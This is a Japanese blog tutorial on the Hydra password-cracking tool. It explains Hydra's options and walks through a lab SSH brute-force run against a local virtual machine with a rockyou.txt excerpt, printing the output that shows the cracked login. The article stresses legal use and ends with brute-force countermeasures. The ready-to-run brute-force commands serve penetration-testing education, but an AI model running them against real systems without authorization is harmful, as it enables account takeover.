【Hydraの使い方】ブルートフォース・パスワードクラック診断に使えるコマンド・オプションを徹底解説!

ブルートフォース攻撃から守るために
- Hydraの使い方から学ぶセキュリティ対策 -

この記事では、Hydraの基本的な使い方よく使うコマンド・オプションを解説し、SSHサービスへのブルートフォース攻撃をケーススタディとして、具体的な活用例を紹介しています。

ブルートフォース攻撃への対策についても触れているため、攻撃手法を知るとともに防御策まで理解できるようになります。

ペネトレーションテストや脆弱性診断に役立つ実践的ノウハウを身に付けたい方は必見です!

Hydraはペネトレーションテストや脆弱性診断の一環として使用するものであり、無許可で他人のサーバーに使用することは不正アクセス禁止法等に抵触する可能性があります。
この記事では、ローカルPC上に仮想環境を構築し、仮想ネットワーク内でHydraを使った検証を行っています。

目次

THC Hydraとは

THC Hydra(通称:Hydra)とは、ログイン認証の脆弱性を調査・検証するために広く使われているパスワードクラックツールです。主にブルートフォース攻撃や辞書攻撃を通じて、ログイン認証の強度を評価する目的で使用されます。セキュリティエンジニアやペネトレーションテスターにとっては、攻撃者の視点からシステムの脆弱性を模擬的に評価するための実践的なツールとして広く認知されています。

Hydraは「The Hacker's Choice(THC)」というセキュリティ研究グループによって開発されており、オープンソース(GNU Affero General Public License)で提供されています。

Hydraが対応するプロトコル数は50を超え、企業内で運用されている主要なネットワークサービスはほぼ網羅しています。そのため、誤設定されたSSHアカウントや初期パスワードのまま運用されているFTPサービスなど、企業ネットワークに存在する多様なサービスのセキュリティ診断に対応することができます。

Hydra公式サイト:https://github.com/vanhauser-thc/thc-hydra

Hydraの特徴

Hydraは、ネットワークサービスに対するパスワードクラックを自動化するツールであり、特に高速かつ多機能である点が大きな特徴です。セキュリティ診断の現場では、ログインID・パスワードの認証強度を評価するための定番ツールとして広く利用されています。

主な特徴
  • パスワードクラックに特化
  • ペネトレーションテストに最適
  • コマンドの使い方がシンプル
  • 多様なプロトコルに対応
  • オプション指定が豊富
  • オープンソース・無料

パスワードクラックに特化

Hydraは、ネットワークサービスに対するログイン試行を高速かつ効率的に実施できることから、パスワードクラックに特化したツールとして広く知られています。特にブルートフォース攻撃(総当たり攻撃)辞書攻撃リスト型攻撃に対応しており、パスワード強度の検証を行う場面で非常に有効です。

パスワードリストやユーザーリストを柔軟に指定できる点もHydraの強みです。例えば、-L-Pオプションを使用して、実際の組織で使用されているログインIDや過去に漏洩したパスワードリストを活用することで、より実践的なセキュリティ検証が行えます。

ペネトレーションテストに最適

Hydraは、企業ネットワークやWebサービスに対するパスワード強度の検証において、非常に実用的なツールです。特に、認証システムの耐性を確認するためのペネトレーションテスト(疑似攻撃)において、その効果が顕著に現れます。例えば、SSHやFTP、HTTP、SMTPなど、認証機構を備えた多様なサービスに対応しており、現場で使用される主要なプロトコルに対してテストを実施できます。

コマンドの使い方がシンプル

Hydraは多機能でありながら、複雑なオプションや設定ファイルを事前に用意する必要はなく、基本的なパラメータを入力するだけで動作します。例えば、SSHサービスに対してブルートフォースを試みる場合、最小限の記述で以下のように実行できます。

$ hydra -l root -P passwords.txt 192.168.1.100 ssh

この一行で、rootというユーザーに対して、passwords.txtに書いてあるパスワードを用いて、ターゲットのIPアドレス192.168.1.100にSSH認証(ブルートフォース攻撃)を行います。

多様なプロトコルに対応

2025年5月時点で、Hydraは50種類以上のネットワークサービスやアプリケーションプロトコルに対応しており、企業の実運用環境における多様な認証経路を網羅的にテストすることが可能です。

具体的には、SSHやFTP、HTTP(S)、MySQL、PostgreSQL、Telnet、RDP、IMAP、POP3、VNCなど、一般的なプロトコルはほぼ全てサポートされています。また、SIPやRedis、Rexec、Cisco AAAなど、比較的特殊なプロトコルにも対応しており、金融、医療、製造業など、業界特有の環境にも柔軟に対応できます。

Currently this tool supports the following protocols:
Asterisk, AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP,
HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-POST, HTTP-PROXY,
HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTPS-POST,
HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MEMCACHED, MONGODB, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener,
Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, Radmin, RDP, Rexec, Rlogin,
Rsh, RTSP, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5,
SSH (v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth,
VNC and XMPP.

Hydra公式サイト(https://github.com/vanhauser-thc/thc-hydra)より引用

これにより、特定のプロトコルに依存する企業ネットワークでも、Hydraを用いたペネトレーションテストを網羅的に実施することが可能になります。

オプション指定が豊富

ユーザーが求めるさまざまなシナリオに対応できるよう、多数のコマンドラインオプションが用意されています。これにより、ターゲット環境やペネトレーションテストの目的に応じたカスタマイズが可能になります。

具体的なオプションの使用方法については、後のセクションで詳述しています。

オープンソース・無料

Hydraは、AGPL(GNU AFFERO GENERAL PUBLIC LICENSE)に基づいて提供されているオープンソースソフトウェアであり、無料で利用できます。セキュリティツールとしては非常に高機能でありながら、商用ツールのような高額なライセンス費用が不要である点が、多くのセキュリティエンジニアやペネトレーションテスターに支持されている理由の一つです。

Hydraを使ってセキュリティ診断する理由

Hydraを用いてセキュリティ診断を行う最大の理由は、「不正ログイン」の脅威が依然として深刻であり、しかも現実に頻発しているためです。

IPA(情報処理推進機構)が毎年発表している情報セキュリティ10大脅威において、「インターネット上のサービスへの不正ログイン」は、2025年時点で10年連続10回目のランクインを果たしており、その脅威の継続性と影響の大きさが浮き彫りになっています。

この脅威の背景には、使い回しのパスワードや推測しやすい文字列の利用、アカウントロック機構の未実装など、複数の要因が存在します。攻撃者はこれらの弱点を突くために、IDとパスワードの組み合わせを自動的に試行する「ブルートフォース攻撃」や「リスト型攻撃」を行います。Hydraは、こうした攻撃手法を模倣し、実環境で脆弱な認証機構が存在しないかを検証できる数少ないツールの一つです。

仮に、診断の結果として「短時間に複数の試行が成功する」「初期パスワードのままのアカウントが存在する」などの事象が確認されれば、それは実際に攻撃を受けた場合にも容易に突破される可能性があるということを意味します。

このように、Hydraを使ったセキュリティ診断は、単なる理論的な対策ではなく、「現実に起きている脅威に対して、自社がどの程度耐性を持っているか」を実証的に評価するための手段として非常に有効です。

Hydraのインストール方法

Hydraは、UbuntuなどのLinux環境での使用を前提としており、GitHubから入手することができます。ダウンロード、およびインストールについては、GitHubのHydra公式サイトをご確認ください。

なお、HydraはWindowsに対応していないため、Windows OSにそのままインストールすることはできません。そのため、Windowsマシンで使用するには、以下のいずれかの手段でLinux環境を用意する必要があります。

WindowsでHydraを使用する方法
  • VirtualBoxやVMwareなどの仮想化ソフトウェアを使う
  • Windows Subsystem for Linux(WSL)を利用する
  • Dockerを使ってコンテナ環境を構築する
  • CygwinでUnix互換環境を整える

この記事では、Windows上のVirtualBoxに導入したKali LinuxにプリインストールされているHydraを使用しています。※詳細は後述しています。

また下記の記事では、初めてKali Linuxを利用する方向けに、Kali Linuxの特徴やインストール方法について解説しています。ぜひご覧ください。

hydraコマンド・オプションの使い方

Hydraは、コマンドラインインターフェース(CLI)ベースのパスワードクラックツールです。このセクションでは、hydraコマンドの使い方について、具体的なコマンド事例を挙げて解説します。

起動方法

Hydraはコマンドラインインターフェース(CLI)を採用しているため、基本的にはターミナルからhydraコマンドを実行するだけです。Hydraが正しくインストールされていれば、オプションなしでhydraと入力するだけで、バージョン情報および使用可能なオプションの一覧が表示されます。

ターミナルでhydraコマンドを実行

また、Kali Linuxの場合、パネル(メニュー)から起動することもできます。

Kali Linuxのパネル(メニュー)からhydraを起動

05-Password Attacks-Online Attacks-hydraを選択すると、自動的にターミナルが起動し、対話形式でHydraを実行することができます。

自動的にターミナルが起動し、対話形式でHydraを実行する

基本コマンド

Hydraの基本的なコマンド構文は、以下のようにシンプルです。

$ hydra [オプション] [ターゲット] [サービス]

例)
$ hydra -l root -p password123 192.168.1.100 ssh
$ hydra -l root -p password123 ssh://192.168.1.100

-hオプションを指定するより、ヘルプを確認することができます。

$ hydra -h

オプションの使い方

hydraコマンドは多機能であり、目的に応じて柔軟なオプション指定が可能です。ここでは、実務でよく使用されるオプションについて、具体的なコマンド事例をもとに解説します。

よく使う主なオプション一覧

オプション内容使用例
-l単一のログインIDを指定-l root
-LログインIDのリストファイルを指定-L users.txt
-p単一のパスワードを指定-p password123
-Pパスワードのリストファイルを指定-P passwords.txt
-sポート番号を明示的に指定(デフォルト以外を使用する場合)-s 2022
-V試行するログインIDとパスワードを標準出力に表示-V
-t同時接続スレッド数を指定(デフォルト:16)-t 4
-o成功したログインIDとパスワードをファイルに保存-o result.txt

SSHサービスに対してユーザーrootでブルートフォースを行う

$ hydra -l root -P passwords.txt 192.168.1.100 ssh
または
$ hydra -l root -P passwords.txt ssh://192.168.1.100

このコマンドは、指定したpasswords.txtに記載された各パスワードを順に試行し、SSHサービスへのログインが成功するかを検証します。オプションの-lは単一ログインIDの指定、-Pはパスワードリストのファイルパス、192.168.1.100は攻撃対象ホストのIPアドレス、そしてsshは対象プロトコルです。

複数のログインIDを対象にしたい場合は、-lの代わりに-Lオプションを使用し、ログインIDを列挙したファイルを指定します。

$ hydra -L users.txt -P passwords.txt 192.168.1.100 ssh

2022番ポートに対して、SSHブルートフォースを行う

$ hydra -l root -P passwords.txt -s 2022 192.168.1.100 ssh

セキュリティ対策の一環として、ポート番号を変更している場合、-sオプションにてポート番号を指定することができます。

複数のターゲットマシンに対して、SSHブルートフォースを行う

$ hydra -l root -P passwords.txt -M hosts.txt ssh

診断対象のマシンが複数ある場合には、IPアドレスの代わりに-Mオプションを用いてファイルを指定することも可能です

試行中のログインIDとパスワードを表示する

$ hydra -l root -P passwords.txt -V 192.168.1.100 ssh
〜 省略 〜
[ATTEMPT] target 192.168.1.100 - login "root" - pass "password" - 1 of 6 [child 0] (0/0)
[ATTEMPT] target 192.168.1.100 - login "root" - pass "12345678" - 2 of 6 [child 1] (0/0)
[ATTEMPT] target 192.168.1.100 - login "root" - pass "123456789" - 3 of 6 [child 1] (0/0)
[ATTEMPT] target 192.168.1.100 - login "root" - pass "1qaz2wsx" - 4 of 6 [child 0] (0/0)
[ATTEMPT] target 192.168.1.100 - login "root" - pass "asdfghjk" - 5 of 6 [child 1] (0/0)
〜 省略 〜

-Vオプションを指定することにより、解析中のログインIDとパスワードをリアルタイムでログ出力できます。

ブルートフォースの速度を調整する

$ hydra -l root -P password.list -t 4 192.168.1.100 ssh

Hydraはパラレル処理にも対応しており、-tオプションで同時に実行するスレッド数を指定できます。(デフォルトは16)※SSHの場合、スレッド数の上限は4に制限されています。

ログインに成功したID・パスワードをファイルに出力する

$ hydra -l root -P password.list -o output.txt 192.168.1.100 ssh

Hydraの出力はターミナルに表示されるだけで、ターミナルを閉じると内容が消えてしまいます。-oオプションを使えば、成功したログイン情報(ログインIDとパスワードの組み合わせ)をテキストファイルに保存することができます。

Hydraを使って、SSHブルートフォースを検証

本検証では、Hydraを用いたSSHブルートフォース攻撃の再現を目的とし、ローカル環境に構築した仮想ネットワーク内で検証を実施しています。

Hydraを無許可で他人のサーバーに対して使用すると、不正アクセス禁止法などに抵触する可能性があります。絶対にお控えください。

検証環境

VirtualBoxを用いて、Windowsマシン上に仮想環境を構築しています。

物理マシンのシステム構成

OSWindows 10 Pro 22H2(64bit)
仮想化ソフトVirtualBox 7.1.8

仮想マシンにはKali Linux、Ubuntu Serverを採用し、詳細は下記のとおりです。

VirtualBox上に構築した仮想マシン

Hydra実行マシンKali Linux 2025.1
Hydra v9.5
ターゲットマシン
(SSHサーバー)
Ubuntu Server 24.04.2 LTS
OpenSSH_9.6p1
192.168.10.102

パスワードリストを準備

パスワードリストは、自ら作成することも可能ですが、一般的には信頼性の高い既存のリストを使用する方が効率的です。例えば、RockYou.txtは世界中のセキュリティエンジニアやペネトレーションテスターが使用している代表的なリストであり、過去に漏洩した実パスワードを収録しています。

同ファイルは、Kali Linuxに標準搭載されており、/usr/share/wordlists/rockyou.txt.gzにあります。14,344,392件のパスワードが含まれていますが、検証を簡略化するため、先頭の100件のみを使用します。

-- 解凍 --
$ gzip -d rockyou.txt.gz

-- 先頭100件を抽出 --
$ head -100 rockyou.txt > pass100.txt

ブルートフォース攻撃を実行

準備が整ったので、ターゲットマシンに対して、ブルートフォース(リスト型攻撃)を行います。ログインIDは固定(demo)、パスワードは前述のリスト(pass100.txt)を使用します。

$ hydra -l demo -P pass100.txt -V -t 4 192.168.10.102 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-19 17:11:47
[DATA] max 4 tasks per 1 server, overall 4 tasks, 100 login tries (l:1/p:100), ~25 tries per task
[DATA] attacking ssh://192.168.10.102:22/
[ATTEMPT] target 192.168.10.102 - login "demo" - pass "123456" - 1 of 100 [child 0] (0/0)
[ATTEMPT] target 192.168.10.102 - login "demo" - pass "12345" - 2 of 100 [child 1] (0/0)
[ATTEMPT] target 192.168.10.102 - login "demo" - pass "123456789" - 3 of 100 [child 2] (0/0)
[ATTEMPT] target 192.168.10.102 - login "demo" - pass "password" - 4 of 100 [child 3] (0/0)
[ATTEMPT] target 192.168.10.102 - login "demo" - pass "iloveyou" - 5 of 100 [child 0] (0/0)
〜 省略 〜
[ATTEMPT] target 192.168.10.102 - login "demo" - pass "jonathan" - 81 of 100 [child 0] (0/0)
[ATTEMPT] target 192.168.10.102 - login "demo" - pass "987654321" - 82 of 100 [child 3] (0/0)
[ATTEMPT] target 192.168.10.102 - login "demo" - pass "computer" - 83 of 100 [child 2] (0/0)
[ATTEMPT] target 192.168.10.102 - login "demo" - pass "whatever" - 84 of 100 [child 1] (0/0)
[ATTEMPT] target 192.168.10.102 - login "demo" - pass "dragon" - 85 of 100 [child 0] (0/0)
[ATTEMPT] target 192.168.10.102 - login "demo" - pass "vanessa" - 86 of 100 [child 3] (0/0)
[ATTEMPT] target 192.168.10.102 - login "demo" - pass "cookie" - 87 of 100 [child 2] (0/0)
[ATTEMPT] target 192.168.10.102 - login "demo" - pass "naruto" - 88 of 100 [child 1] (0/0)
[22][ssh] host: 192.168.10.102   login: demo   password: naruto
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-05-19 17:13:00

ターゲットマシンでは、/var/log/auth.log(Debian系)や/var/log/secure(RHEL系)に認証ログが出力されます。検証時はこれらを併せて確認することで、攻撃の可視化が可能です。

検証結果

〜 省略 〜
[ATTEMPT] target 192.168.10.102 - login "demo" - pass "naruto" - 88 of 100 [child 1] (0/0)
[22][ssh] host: 192.168.10.102   login: demo   password: naruto
1 of 1 target successfully completed, 1 valid password found
〜 省略 〜

検証環境においてSSHブルートフォース攻撃を実施した結果、正しいパスワード(88番目)に到達するまでに要した時間は1分13秒でした。

この結果から分かる通り、リストに正しい認証情報が含まれていれば、HydraはSSH認証を突破可能です。つまり、企業システムや公開サーバで、弱いパスワードを用いたアカウントが存在する場合、同様の手法で容易に侵入されるリスクがあると言えます。

ブルートフォース攻撃の対策

ブルートフォース攻撃は、攻撃者が総当たりでIDやパスワードを試行し、正しい認証情報を見つけ出す手法です。Hydraのようなツールは、こうした攻撃を自動化し、非常に短時間で膨大な組み合わせを試行することが可能です。したがって、企業システムやサービスを安全に保つためには、ブルートフォース攻撃を想定した多層的な防御策を講じる必要があります。

ブルートフォース攻撃に有効な対策

アカウントロック機能の導入一定回数以上のログイン失敗が発生した場合に、該当アカウントを一時的にロックすることで、攻撃者がそれ以上の試行を続けられないようにします。
ログイン試行のインターバル制限1秒間に何十件もリクエストが来る場合、それは通常のユーザー操作ではなく自動化ツールによる攻撃の可能性が高いため、リクエストに一定の間隔を強制することで攻撃効率を低下させます。
二段階認証(2FA)や多要素認証(MFA)の導入仮に攻撃者がパスワード認証を突破したとしても、ワンタイムパスワードや生体認証などの追加要素がなければログインできないようにします。
CAPTCHAの実装ログインフォームにCAPTCHAを導入することで、自動化されたログイン試行(=Hydraなど)を効果的に阻止できます。
パスワードポリシーの強化パスワードには、最低でも12文字以上で大文字・小文字・数字・記号を組み合わせた複雑なものを採用するべきです。また、辞書的な単語(例:「password」「123456」)の使用を禁止する辞書ベースフィルタも有効です。

このような対策を実施する手段としては、侵入検知システム(IDS)侵入防止システム(IPS)などのセキュリティソリューションの導入が有効とされています。また、WordPressサイトの場合、ログイン試行回数の制限やCAPTCHAなどの機能を備えたプラグインの活用が推奨されます。

下記の記事では、ログ監視型の侵入防止システム(IPS)であるFail2Banを用いたブルートフォース攻撃の対策を解説しています。あわせてご覧ください。

デフォラボ

この記事が気に入ったら
フォローしてね!

よかったらシェアしてね!
  • URLをコピーしました!
目次